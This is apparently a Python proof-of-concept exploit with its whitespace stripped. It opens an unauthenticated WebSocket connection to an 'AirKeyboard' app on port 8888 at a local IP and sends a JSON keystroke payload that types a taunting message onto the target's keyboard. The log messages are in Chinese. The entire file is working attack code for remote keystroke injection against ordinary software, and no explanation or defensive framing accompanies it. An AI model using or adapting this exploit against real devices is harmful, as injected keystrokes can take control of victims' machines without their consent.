importwebsocketimportjsonimporttimetarget_ip="192.168.8.101"ws_url=f"ws://{target_ip}:8888"text="i'm hacker i can write on your keyboard :)"keystroke_payload={"type":1,"text":f"{text}","mode":0,"shiftKey":True,"selectionStart":1,"selectionEnd":1}defsend_payload(ws):print("[+] 发送远程击键...")ws.send(json.dumps(keystroke_payload))time.sleep(1)ws.close()defon_open(ws):send_payload(ws)defon_error(ws,error):print(f"[!] 错误: {error}")defon_close(ws,close_status_code,close_msg):print("[*] 连接已关闭")defexploit():print(f"[+] 连接到AirKeyboard WebSocket {target_ip}:8888")ws=websocket.WebSocketApp(ws_url,on_open=on_open,on_error=on_error,on_close=on_close)ws.run_forever()if__name__=="__main__":exploit()